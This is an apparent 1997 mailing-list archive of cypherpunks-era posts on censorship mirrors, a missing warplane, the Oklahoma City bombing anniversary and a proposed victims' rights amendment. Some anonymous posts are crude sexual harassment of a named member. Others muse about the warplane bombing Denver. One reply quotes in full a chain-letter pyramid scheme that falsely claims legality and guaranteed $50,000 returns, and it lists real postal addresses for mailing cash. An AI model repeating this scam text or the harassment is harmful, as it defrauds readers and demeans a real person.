From carljohn at sk.sympatico.ca  Thu Apr 17 19:45:46 1997
From: carljohn at sk.sympatico.ca (InterNet Free Terra)
Date: Thu, 17 Apr 1997 19:45:46 -0700 (PDT)
Subject: Plain Text / InterNet Free Terra
Message-ID: <3356E038.1636@sk.sympatico.ca>


                            InterNet Free Terra
                     Beyond the ElectroMagnetic Curtain

    "The Internet interprets censorship as damage, and routes around it"
                                John Gilmore

                      Freedom Mirrors of Censored Sites

                            InterNet Free Europe
                                  Radikal

                             InterNet Free China
                   Famous Blocked Websites (Proxy Server)

 "National borders aren't even speed bumps on the information superhighway."
                               Timothy C. May

               ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                    To Provide Information About Mirrors
                           Of Other Censored Sites
                          carljohn at sk.sympatico.ca

                             The Final Frontier
                   http://www3.sk.sympatico.ca/carljohn/






From real at freenet.edmonton.ab.ca  Thu Apr 17 20:37:52 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 17 Apr 1997 20:37:52 -0700 (PDT)
Subject: Meet-in-the-middle attack
In-Reply-To: <199704180059.UAA18780@dhp.com>
Message-ID: 




I think Vulis needs each of us to send ten copies of this back to him.

On Thu, 17 Apr 1997, lucifer Anonymous
Remailer wrote:

> Tim Maya studied yoga back-streching exercises for five years so 
> he could blow himself (nobody else will).
> 
>            /\
>         __/__\__
>          | 00 |  Tim Maya
>         |:  \ :|
>          | \_/|
>           \__/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From nobody at huge.cajones.com  Thu Apr 17 20:38:14 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 17 Apr 1997 20:38:14 -0700 (PDT)
Subject: Son of Flubber
Message-ID: <199704180338.UAA22722@fat.doobie.com>


Timothy C. May wrote:
> At 3:51 AM -0800 4/17/97, TruthBomber wrote:
> >  Of course, the government isn't nervous about the loyalty of
> >their own military personnel. That certainly couldn't have
> >anything to do with them clamping down so hard on the release
> >of details of the trial.
> 
> Or why NORAD (North American Aerospace Defense Command) and Falcon AFB,
> both also in Colorado, have been placed on special alert. Military flights
> near both sites have been sharply limited, and visitors are being screened
> with more attention.
> 
> Avoid soft targets on April 19th, Saturday.

  Capt. Button's A-10 changed course for an approach toward Vail/Denver
and then turned around briefly, before resuming its approach pattern.
  While this raises the scary prospect that his warplane was intercepted
and had to take evasive action, thereafter being shot down, what about
an equally scary scenario:
  Perhaps he turned around in order to adjust his *landing* approach.

  If I was NORAD, I'd be checking the local bars and construction
companies around Vail, trying to find out if anyone has built any 
unusually large parking garages next to an open field.

  It's an open secret that McVeigh timed the bombing to coincide
with the execution of a fellow militant from the Elohim City
cabal. Who says mad bombers aren't sentimental?

  Perhaps the missing warplane will surface on April 19, dropping
bombs on Denver, and trailing a banner reading, "Happy Anniversary."

TruthBomber






From nobody at huge.cajones.com  Fri Apr 18 00:12:05 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 18 Apr 1997 00:12:05 -0700 (PDT)
Subject: "Get out of Denver"
Message-ID: <199704180712.AAA28624@fat.doobie.com>


Timothy C. May wrote:
> 
> >  It's an open secret that McVeigh timed the bombing to coincide
> >with the execution of a fellow militant from the Elohim City
> >cabal. Who says mad bombers aren't sentimental?
> 
> There are _several_ anniversaries that day. I dispute your notion that you
> know which of them was the bombers' main motivation. Here are some of the
> main anniversaries;
> * Waco roast (and McVeigh has written much about Waco, and was there for
> the first anniversary, in '94)
> * the execution you mentioned> 
> * a major raid in Arkansas 10 years earlier
> * the battle of Lexington, in which the British attempted to disarm a
> civilian militia

  You are certainly correct about McVeigh's main focus of discontent 
being the Great Texas Barbecue in Wacko, but his choice of targets was
the same one Richard Snell had targeted.

  As MediaFilter reported:
The March edition of Taking Aim, the newsletter of the Militia of
Montana, issued a call
to arms for April 19, the day of the Oklahoma blast: 

     "If this day does not ring a bell for you then maybe this will jog
your memory.
     1. April 19, 1775: Lexington burned.
     2. April 19, 1943: Warsaw burned.
     3. April 19, 1992: The feds attempted to raid Randy Weaver...
     4. April 19, 1993: The Branch Davidians burned.
     5. April 19, 1995: Richard Snell will be
     executed_unless we act now!!!"

Federal prosecutors in (Richard Snell's) the '88 trial claimed that the
'83 
plot_which included counterfeiting, armed robberies and plans to
assassinate
federal judges and the Arkansas FBI chief_was to begin with the
detonation of 
a truck bomb at the Oklahoma City Federal Building. 
All of the defendants were acquitted. But that very same building would
be 
blown up by a truck bomb on the very day of Richard Snell's execution.

Snell died knowing of the explosion. 
His last words were a warning to Arkansas Governor Guy Tucker: "Look
over 
your shoulder, justice is on the way..." 

  The Feds are well aware of the significance of launching their
offensives
against the militia on certain dates, sending deliberate messages to
them
by doing so, and the setting of Snell's execution date for April 19 was
no coincidence.
  When the Feds pre-date search warrants and other documents
(proclaiming
to judges that it is needed to protect informants and sources), they
often
use signifigant dates and times, like the 9:02 of the OKC bombing (as in
Jim Bell's search warrant).

  If you draw a chart co-relating the militia's actions with the Fed's
actions, you get a picture somewhat similar to the truces in the Civil
War, among others, where the soldiers would come out of the trenches
to exchange goods and pleasantries, before digging in once again to 
resume their warring.
  Perhaps after the trial is over (if it gets that far), we will see
a TV ad where the Feds and the militia get together in a bar afterward,
and a theme of, "Now comes Miller time."

> (And Hitler's birthday is the next day.)

Adolf Hilter's birthday is annually celebrated with a barbecue by David
Duke
and friends.
  (No wonder the Feds burned Waco on the 19th. They had another barbeque
to
attend the following day.)

  And how does all of this relate to cryptography? Glad you asked.

MediaFilter continues:
However, in 1995, the Clinton administration is conveniently using the 
Militia to justify beefing up the federal police state apparatus. 
Also watch out for the pending Communications Decency Act and 
Orwellian_named Electronic Communications Privacy Act, which would make
censorship and surveillance the rule in cyberspace. 

  Perhaps at an upcoming cypherpunks physical meeting the milita
could be invited and the theme could be "Trading Guns for Crypto."
  (It would have to be arranged quietly, however, so as not to
draw too much attention. Perhaps if the arrangements were limited
to discussion only on the cypherpunks list...)

TruthBomber






From lucifer at dhp.com  Fri Apr 18 00:59:05 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Fri, 18 Apr 1997 00:59:05 -0700 (PDT)
Subject: Son of Flubber
Message-ID: <199704180759.DAA26834@dhp.com>


Lucky Green wrote: 
> At 02:50 PM 4/17/97 -0700, Kent Crispin wrote:
> >I note that on the network news this morning an AF spokesman very
> >painstakingly assured his questioner that there was absolutely no
> >evidence of any kind that the missing pilot had any connection
> >whatsoever with any militia groups.
> 
> Neither did Tim McVeigh. He went to a militia meeting once. They told him
> to get lost and never come back. In fact, the only common thread amongst
> the Oklahoma City bombing suspects seems to be their (past?) service in the
> US military. Come to think of it, that's one thing they have in common with
> the missing bomber pilot.

>From MediaFilter:
In October 1992, two months after the Weaver surrender, Pete Peters, a 
Christian Identity minister in Colorado, called a meeting of some 175 
radical right leaders. Among those in attendance were Aryan Nations 
ambassador Louis Beam and his lawyer, Kirk Lyons of North Carolina.
   
Also in attendance was former Virginia legislator and Gun Owners of 
America leader Larry Pratt, who advocated "armed militia units" like
those 
in Central America. Beam presented a paper to the meeting called
"Leaderless
Resistance", which called for small autonomous cells united by ideology
but acting independently.

This became the model for the Militia movement_and perhaps for Timothy 
McVeigh and his co_conspirators.

  Perhaps the great outcrys of "Timothy who?" that came from many
parts of the militia were similar to the similar cries of "Jim who?"
after Jim Bell's troubles.

TruthWho?






From toto at sk.sympatico.ca  Fri Apr 18 02:52:14 1997
From: toto at sk.sympatico.ca (Toto)
Date: Fri, 18 Apr 1997 02:52:14 -0700 (PDT)
Subject: [rant] Re: Any info on the "Victim's Rights" Constitutional  amendment?
In-Reply-To: <3.0.1.32.19970418013850.027bd660@postoffice.pacbell.net>
Message-ID: <335742F6.4963@sk.sympatico.ca>


Greg Broiles, whose rants seem to be more informative and
entertaining than his legal opinions, and who could be the
Johnny Cochrane of the McVeigh trial, wrote:
 
> At 09:22 PM 4/17/97 -0700, Alan Olsen wrote:
> >Yesterday i saw a report on one of the news websites about Clinton pushing
> >for some sort of Victim's Rights Constitutional amendment.
> >
> >Does anyone have any additional details on this?
> 
> Sens. Feinstein and Kyl are co-sponsoring this amendment. To become part of
> the Constitution, it must be approved by a 2/3 majority in both the House and
> the Senate, then be ratified by 38 state legislatures. According to Kyl's web
> page, this is the text of the proposed amendment:
> 
> Section 1. To ensure that the victim is treated with fairness, dignity, and
> respect, from the occurrence of a crime of violence and other crimes as may
> be defined by law pursuant to section two of this article, and throughout the
> criminal, military, and juvenile justice processes, as a matter of
> fundamental rights to liberty, justice, and due process, the victim shall
> have the following rights: to be informed of and given the opportunity to be
> present at every proceeding in which those rights are extended to the accused
> or convicted offender; to be heard at any proceeding involving sentencing,
> including the right to object to a previously negotiated plea, or a release
> from custody; to be informed of any release or escape; and to a speedy trial,
> a final conclusion free from unreasonable delay, full restitution from the
> convicted offender, reasonable measures to protect the victim from violence
> or intimidation by the accused or convicted offender, and notice of the
> victim's rights.

  We've already got this in Canada. Now the focus has shifted even 
further against the accused, with great outcry about the fact that
the accused are causing great emotional grief to the victims and
their families by being so bold as to try to defend themselves 
from the often irrational assaults on the accused and/or convicted.
  There is talk of further legislation which would effectively make
all perceived victims angelic creatures and all perceived criminals
violent, drug-dealing, commie-pinko perverts with no right to defend
themselves. (And this is just on the jaywalking charges. Any more
serious offences will increase the imbalance of judical powers to
suppress the defence.)


> (The rights of defendants
> pretrial aren't what you'd expect if you've been to a public high school and
> have heard the nice stories about "innocent until proven guilty".  Accused
> persons in criminal cases face serious restrictions on their liberty before
> they're even formally charged; these changes are not new.
> 
> The amendment will also likely result in less accurate trials and less
> preparation on the part of defense counsel, because it gives the "victim" a
> right to a speedy trial. This is bad for defendants, because it denies them
> meaningful due process, and it's bad for victims who want "closure" because
> it's likely to result in retrials when the due process was so crappy that the
> trial didn't meet even the relatively lax standards of the Rehnquist court.
> But, hey, it sounds good on TV.

  It shouldn't be long before "True Stories of the Highway Patrol" is 
immediately followed by C-Span legislative sessions enacting new 
legislation to deal with the perpetrators just apprehended, with 
"Night Court" immediately following, wherein the defendants are
judged and sentenced.
 
> We (as a society) need to decide if we want criminal trials to be about
> trying to decide (beyond a reasonable doubt) whether or not someone's guilty
> of a crime, or if we want them to be satisfying emotional soap-opera-style
> theatrical pieces. This victims' rights crap (and the recent legislation
> passed, *specifically intended to overrule the decisions of the judge
> presiding over the Oklahoma City bombing trial*, as well as recent changes to
> the California Evidence Code making it easier to admit evidence about prior
> bad acts by defendants and otherwise inadmissible hearsay by "victims") does
> a good job of moving us closer to the latter, but if that's what we want I
> don't see why we don't just abandon trials entirely and simply torture people
> who look like they're probably criminals until they die or confess. (and then
> we kill them; after all, they confessed.)

  You mean like they do in Texas?

> I think it's very, very bad to get so excited about punishing someone in an
> emotionally or symbolically attractive fashion that we screw up trials, which
> are intended to ensure that innocent people don't get punished. If we make it
> difficult or impossible to get a fair trial, the only thing standing between
> any of us and prison (or worse) is dumb luck and our ability/willingness to
> remain in the good graces of the current powers that be.

  A good point, but your putting it in a future tense indicates that
you don't get out enough. (Which is not a criticism, since I'm staying
in a lot more, myself, these days. I'm afraid of getting shot by a
cop while running from a criminal, or vice-versa.)

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From camcc at abraxis.com  Fri Apr 18 08:24:12 1997
From: camcc at abraxis.com (Alec)
Date: Fri, 18 Apr 1997 08:24:12 -0700 (PDT)
Subject: Missing Jet [update]
Message-ID: <3.0.1.32.19970418112443.007c1930@smtp1.abraxis.com>


>Subject: Re: Missing Jet
>Date: Fri, 18 Apr 97 09:33:05 -0400
>x-sender: jordan1 at macandco.com
>From: Jordan 
>To: "Alec" 

Update:

http://cnn.com/US/9704/17/missing.warplane/index.html

jmcc






From tbs at netgo.net  Fri Apr 18 09:50:50 1997
From: tbs at netgo.net (tbs at netgo.net)
Date: Fri, 18 Apr 1997 09:50:50 -0700 (PDT)
Subject: maps
Message-ID: 


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From d.gasparovski at student.canberra.edu.au  Fri Apr 18 10:12:31 1997
From: d.gasparovski at student.canberra.edu.au (Gasparovski / Daniel (ISE))
Date: Fri, 18 Apr 1997 10:12:31 -0700 (PDT)
Subject: remove
In-Reply-To: <199704171115.EAA00880@cascade.pacificrim.net>
Message-ID: 



Asswipe.


Dan ...
[                   Danny Gasparovski | Mortified by the lack of conscience   ]
[     u923168 at student.canberra.edu.au | Our sanctity bears no relevance       ]
[   University of Canberra, Australia | Insignificant is our existence        ]
[ Bolt Thrower, "The IVth Crusade" -> | Hear the litany of life's persistence ]

On Thu, 17 Apr 1997, Rose wrote:

> 
> 
> 
> ****************************************************************************
> *This message provided by BULK E-MAIL. If you would like to be removed from*
> *further mailings, please return this message with "remove in the subject  *
> *line. This service will not contact you again. Thank You For Your Patience*
> ****************************************************************************
> 
> Dear friend,
> 
> The following income opportunity is one you may be interested in taking 
> look at.  It can be started with VERY MINIMAL outlay and the income return
> is TREMENDOUS!
> 
> <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
> You are about to make at least $50,000 - In less than 90 days
> Read the enclosed program...THEN READ IT AGAIN!...
> <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
> 
> The enclosed information is something I almost let slip through my
> fingers.  Fortunately, sometime later I re-read everything and gave
> some thought and study to it.
> 
> My name is Christopher Erickson.  Two years ago, the corporation I
> worked at for the past twelve years down-sized and my position was
> eliminated.  After unproductive job interviews,  I decided to open my
> own business.  Over the past year, I incurred many unforeseen financial
> problems.  I owed my family, friends, and creditors over $35,000.  The
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> make ends meet.  I had to refinance and borrow against my home to
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> in hopes that this will change your life FOREVER....FINANCIALLY!!!
> 
> In mid-December, I received this program via email.  Six months prior
> to receiving this program I had been sending away for information on
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> 
> But like I was saying, in December of '95 I received this program.  I
> didn't send for it, or ask for it, they just got my name off a mailing
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> make sure I was reading it correctly, I couldn't believe my eyes.  Here
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> start, without putting me further in debt.  After I got a pencil and
> paper and figured it out, I would at least get my money back.  After
> determining that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".
> Initially I sent out 10,000 emails.  It only cost me about $15.00 for
> my time on-line.  The great thing about email is that I didn't need any
> money for printing to send out the program, only the cost to fulfill my
> orders.  I am telling you like it is, I hope it doesn't turn you off,
> but I promised myself that I would not "rip-off" anyone, no matter how
> much money it cost me!
> 
> A couple of good programs to help do this are Ready Aim Fire, an email
> extracting program @ http://microsyssolutions.com/raf/  and  Cyberpromotions
> who has a pop3 ISP account specifically for direct emailing at
> http://www.cyberpromo.com
> 
> In less than one week, I was starting to receive orders for REPORT #1.
> By January 13th, I had received 26 orders for REPORT #1.  When you read
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> my mailing of 10,000, I received $58,000 with more coming in every
> day.
> 
> I paid off  ALL my debts and bought a much needed new car.  Please take
> time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
> Remember,  it wont work  if you don't try it.  This program does work,
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> place your name in a different place.  It doesn't work, you'll lose out
> on a  lot  of  money!  REPORT  #2  explains this.  Always follow the
> guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for
> REPORT #2 and you will make  $50,000 or more in 20 to 90 days.  I AM
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> 
> If you choose not to participate in this program, I'm sorry.  It really
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> 
> If you are a fellow business owner and you are in financial trouble
> like I was, or you want to start your own business, consider this a
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> 
> 					Sincerely,
> 					Christopher Erickson
> 
> PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled
> up on a kitchen table? IT'S AWESOME!
> 
> "THREW IT AWAY"
> 
> "I  had  received  this program before.  I  threw  it away, but later
> wondered if I shouldn't have given it a try.  Of course, I had no idea
> who to contact to get a copy, so I had to wait until I was emailed
> another copy of the program.  Eleven months passed, then it came.  I
> DIDN'T throw this one away.  I made $41,000 on the first try."
> 
> 					Dawn W., Evansville, IN
> 
> "NO FREE LUNCH"
> 
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> error and a somewhat slow frustrating start, I finally figured it out.
> The program works very well, I just had to find the right target group
> of people to email it to.  So far this year, I have made over $63,000
> using this program.  I know my dad would have been very proud of me."
> 
> 					Alan B., Philadelphia, PA
> 
> A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM
> 
> By the time you have read the enclosed information and looked over the
> enclosed program and reports, you should have concluded that such a
> program,  and  one that is legal,  could not have been created by an
> amateur.
> 
> Let me tell you a little about myself.  I had a profitable business for
> ten years.  Then in 1979 my business began falling off.  I was doing
> the same things that were previously successful for me, but it wasn't
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> Inflation and recession had replaced the stable economy that had been
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> 
> The middle class was vanishing.  Those who knew what they were doing
> invested wisely and moved up.  Those who did not, including those who
> never had anything to save or invest, were moving down into the ranks
> of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET
> POORER."  The traditional methods of making money will never allow you
> to "move up" or "get rich", inflation will see to that.
> 
> You have just received information that can give you financial freedom
> for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
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> 
> I should also point out that I will not see a penny of your money, nor
> anyone else who has provided a testimonial for this program.  I have
> already made over FOUR MILLION DOLLARS!  I have retired from the
> program after sending out over 16,000 programs.  Now I have several
> offices which market this and several other programs here in the US and
> overseas.  By the Spring, we wish to market the 'Internet' by a
> partnership with AMERICA ON LINE.
> 
> Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
> It works exceedingly well as it is now.  Remember to email a copy of
> this exciting program to everyone that you can think of.  One of the
> people you send this to may send out 50,000...and your name will be on
> every one of them!.  Remember though, the more you send out, the more
> potential customers you will reach.
> 
> So my friend, I have given you the ideas, information, materials and
> opportunity to become financially independent, IT IS UP TO YOU NOW!
> 
> "THINK ABOUT IT"
> 
> Before you delete this program from your mailbox, as I almost did, take
> a little time to read it and REALLY THINK ABOUT IT.  Get a pencil and
> figure out what could happen when YOU participate.  Figure out the
> worst possible response and no matter how you calculate it, you will
> still make a lot of money!  Definitely get back what you invested.  Any
> doubts you have will vanish when your first orders come in.  IT WORKS!
> 
> 					Paul Johnson, Raleigh, NC
> 
> HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
> 
> Let's say that you decide to start small, just to see how it goes, and
> we'll assume you and all those involved send out 2,000 programs each.
> Let's also assume that the mailing receives a .5% response.  Using a
> good list the response could be much better.  Also many people will
> send out hundreds of thousands of programs instead of 2,000.  But
> continuing with this example, you send out only 2,000 programs.  With a
> 5% response, that is only 10 orders for REPORT #1.  Those 10 people
> respond by sending out 2,000 programs each for a total of 20,000.  Out
> of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
> out 2,000 programs each for a total of 200,000.  The .5% response to
> that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
> programs each for a 2,000,000 total.  The .5% response to that is
> 10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
> CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
> $50,000 for a total of $55,550!!!!
> 
> REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU 
> MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  
> DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE 
> OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe 
> me, many people will do that and more!  By the way, your cost to participate 
> in this is practically nothing.  You obviously already have an internet
> connection 
> and email is FREE!!!  REPORT#3 will show you the best methods for bulk
> emailing
> and purchasing email lists.
> 
> THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
> require you to come in contact with people, do any hard work, and best
> of all, you never have to leave the house except to get the mail.  If
> you believe that someday you'll get that big break that you've been
> waiting for, THIS IS IT!  Simply follow the instructions, and your
> dream will come true.  This multi-level email order marketing program
> works perfectly...100% EVERY TIME.  Email is the sales tool of the
> future.  Take advantage of this non-commercialized method of
> advertising NOW!!  The longer you wait, the more people will be doing
> business using email.  Get your piece of this action!!
> 
> MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
> being taught in the Harvard Business School, and both Stanford Research
> and The Wall Street Journal have stated that between 50% and 65% of all
> goods and services will be sold throughout Multi-level Methods by the
> mid to late 1990's.  This is a Multi-Billion Dollar industry and of the
> 500,000 millionaires in the US, 20% (100,000) made their fortune in the
> last several years in MLM.  Moreover, statistics show 45 people become
> millionaires everyday through Multi-Level Marketing.
> 
> INSTRUCTIONS
> 
> We at Erris Mail Order Marketing Business, have a method of raising
> capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
> use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
> "Bull", please read the program carefully.
> 
> This is not a chain letter, but a perfectly legal money making
> opportunity.  Basically, this is what we do:  As with all multi-level
> business, we build our business by recruiting new partners and selling
> our products.  Every state in the USA allows you to recruit new multi-
> level business partners, and we offer a product for EVERY dollar sent.
> YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
> involved in personal selling.  You do it privately in your own home,
> store or office.
> 
> This is the GREATEST Multi-level Mail Order Marketing anywhere:
> 
> Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
>            by ordering the REPORT from each of the four 4 names listed
>            on the next page.  For each REPORT, send $5 CASH and a SELF-
>            ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
>            person listed for the SPECIFIC REPORT.  International orders
>            should also include $1 extra for postage.  It is essential
>            that you specify the NAME and NUMBER of the report requested
>            to the person you are ordering from.  You will need ALL FOUR
>            4 REPORTS because you will be REPRINTING and RESELLING them.
>            DO NOT alter the names or sequence other than what the
>            instructions say.  IMPORTANT:  Always provide same-day
>            service on all orders.
> 
> Step (2)   Replace  the  name  and  address  under  REPORT #1  with
>            yours,  moving the one that was there down to REPORT #2.
>            Drop  the  name and address under REPORT #2 to REPORT #3,
>            moving the one that was there to REPORT #4.  The name and
>            address that was under REPORT #4 is dropped from the list
>            and this party  is  no doubt on the way to the bank.  When
>            doing   this,   make   certain   you  type  the  names  and
>            addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
>            POSITIONS!!!
> 
> Step (3)   Having made the required changes in the NAME list, save it
>            as a text (.txt) file in it's own directory to be used with
>            whatever email program you like.  Again, REPORT #3 will tell
>            you the best methods of bulk emailing and acquiring email
>            lists.
> 
> Step (4)   Email a copy of the entire program (all of this is very
>            important) to everyone whose address you can get your hands
>            on. Start with friends and relatives since you can encourage
>            them to take  advantage of this  fabulous  money-making
>            opportunity.  That's what I did.  And they love me now, more
>            than ever.  Then, email to anyone and everyone!  Use your
>            imagination!  You can get email addresses from companies on
>            the internet who specialize in email mailing lists.  These
>            are very cheap, 100,000 addresses for around $35.00.
> 
> IMPORTANT:  You won't get a good response if you use an old list, so
> always request a FRESH, NEW list. You will find out where to purchase
> these lists when you order the four 4 REPORTS.
> 
> ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
> 
> REQUIRED REPORTS
> 
> ***Order each REPORT by NUMBER and NAME***
> 
> ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
> AND $5 CASH FOR EACH ORDER REQUESTING THE
> SPECIFIC REPORT BY NAME AND NUMBER
> 
> ________________________________________________________
> REPORT #1
> "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
> 
> ORDER REPORT #1 FROM:
> 
> RWD&CO
> P.O. Box 2225
> Friday Harbor, WA   98250
> 
> ________________________________________________________
> REPORT #2
> "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
> 
> ORDER REPORT #2 FROM:
> 
> M.S.DEWLES DISTRIBUTOR	
> P.O.BOX 29322
> PARMA, OHIO 44129
> 
> 
> 
> ________________________________________________________
> REPORT#3
> "SOURCES FOR THE BEST MAILING LISTS"
> 
> ORDER REPORT #3 FROM:
> 
> DSN
> 7154 West State  #298
> Boise, ID  83703
> 
> 
> ___________________________________________
> REPORT #4
> "EVALUATING MULTI-LEVEL SALES PLANS"
> 
> ORDER REPORT #4 FROM:
> 
> WCH MARKETING
> 6225 RIPTIDE DRIVE
> WILMINGTON, N.C. 28403
> 
> 
> ________________________________________________________
> 
> CONCLUSION
> 
> .I am enjoying my fortune that I made by sending out this program.
> You too, will be making money in 20 to 90 days, if you follow the
> SIMPLE STEPS outlined in this mailing.
> 
> To be financially independent is to be FREE.  Free to make financial
> decisions as never before.  Go into business, get into investments,
> 
> retire or take a vacation.  No longer will a lack of money hold you
> back.
> 
> However, very few people reach financial independence, because when
> opportunity knocks, they choose to ignore it.  It is much easier to say
> "NO" than "YES", and this is the question that you must answer.  Will
> YOU ignore this amazing opportunity or will you take advantage of it?
> If you do nothing, you have indeed missed something and nothing will
> change.  Please re-read this material, this is a special opportunity.
> If you have any questions, please feel free to write to the sender of
> this information.  You will get a prompt and informative reply.
> 
> My method is simple.  I sell thousands of people a product for $5 that
> costs me pennies to produce and email.  I should also point out that
> this program is legal and everyone who participates WILL make money.
> This is not a chain letter or pyramid scam.  At times you have probably
> received chain letters, asking you to send money, on faith, but getting
> NOTHING in return, NO product what-so-ever!  Not only are chain letters
> illegal, but the risk of someone breaking the chain makes them quite
> unattractive.
> 
> You are offering a legitimate product to your people.  After they
> purchase the product from you, they reproduce more and resell them.
> It's simple free enterprise.  As you learned from the enclosed material,
> the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The
> information contained in these REPORTS will not only help you in making
> your participation in this program more rewarding, but will be useful
> to you in any other business decisions you make in the years ahead.
> You are also buying the rights to reprint all of the REPORTS, which
> will be ordered from you by those to whom you mail this program.  The
> concise one and two page REPORTS you will be buying can easily be
> reproduced at a local copy center for a cost off about 3 cents a copy.
> Best wishes with the program and Good Luck!
> 
> "IT WAS TRULY AMAZING"
> 
> "Not being the gambling type, it took me several weeks to make up my
> mind to participate in this program.  But conservative as I am, I
> decided that the initial investment was so little that there was no way
> that I could not get enough orders to at least get my money back.  BOY,
> was I ever surprised when I found my medium sized post office box
> crammed with orders!  I will make more money this year than any ten
> years of my life before."
> 
> 					Mary Riceland, Lansing, MI
> 
> TIPS FOR SUCCESS
> 
> Send for your four 4 REPORTS immediately so you will have them when the
> orders start coming in.  When you receive a $5 order, you MUST send out
> the product/service to comply with US Postal and Lottery laws.  Title
> 18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
> SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."
> 
> WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
> 
> 1.	Name your new company. You can use your own name if you desire.
> 
> 2.	Get a post office box (preferred).
> 
> 3.	Edit the names and addresses on the program. You must remember,
>         your name and address go next to REPORT #1 and the others all
>         move down one, with the fourth one being bumped OFF the list.
> 
> 4.	Obtain as many email addresses as possible to send until you
>         receive the information on mailing list companies in REPORT #3.
> 
> 5.	Decide on the number of programs you intend to send out.  The
>         more you send, and the quicker you send them, the more money
>         you will make.
> 
> 6.	After mailing the programs, get ready to fill the orders.
> 
> 7.	Copy the four 4 REPORTS so you are able to sent them out as
>         soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
>         SAME-DAY SERVICE ON ORDERS YOU RECEIVE!
> 
> 8.	Make certain the letter and reports are neat and legible.
> 
> YOUR GUARANTEE
> 
> The check point which GUARANTEES your success is simply this:  you must
> receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
> within two weeks, email out more programs until you do.  Then a couple
> of weeks later you should receive at least 100 orders for REPORT #2, if
> you don't, send out more programs until you do.  Once you have received
> 100 or more orders for REPORT #2, (take a deep breath) you can sit back
> and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
> Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
> participated in the program and reached the above GUARANTEES-ALL have
> reached their $50,000 goal.  Also, remember, every time your name is
> moved down the list you are in front of a different REPORT, so you can
> keep track of your program by knowing what people are ordering from you.
> IT'S THAT EASY, REALLY, IT IS!!!
> 
> REMEMBER:
> "HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
> "INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
> SEARCH FOR IT FOR THE REST OF YOUR LIFE."
> 
> 
>  
> This message was sent using an evaluation version of WWMail
> WWMail is available at: http://wizardware.com
> 
> 





From nobody at huge.cajones.com  Fri Apr 18 13:47:40 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 18 Apr 1997 13:47:40 -0700 (PDT)
Subject: [ANNOUNCEMENT] Firewalls
Message-ID: <199704182047.NAA15773@fat.doobie.com>


When Timothy C. May's mother gave birth to him 
after fucking with a bunch of sailors, she 
didn't know who the father was but decided to 
tell him that he was a Russian as the Russian 
sailor was the one who satisfied her the most.

      \\///
      |O O| Timothy C. May
      | ( |
      |_ at _|
        H






From hallam at ai.mit.edu  Fri Apr 18 14:00:14 1997
From: hallam at ai.mit.edu (Phillip M. Hallam-Baker)
Date: Fri, 18 Apr 1997 14:00:14 -0700 (PDT)
Subject: SSL weakness affecting links from pa
Message-ID: <199704182100.RAA19542@life.ai.mit.edu>


As the person who invented (and mispelt) the referer link I don't
agree
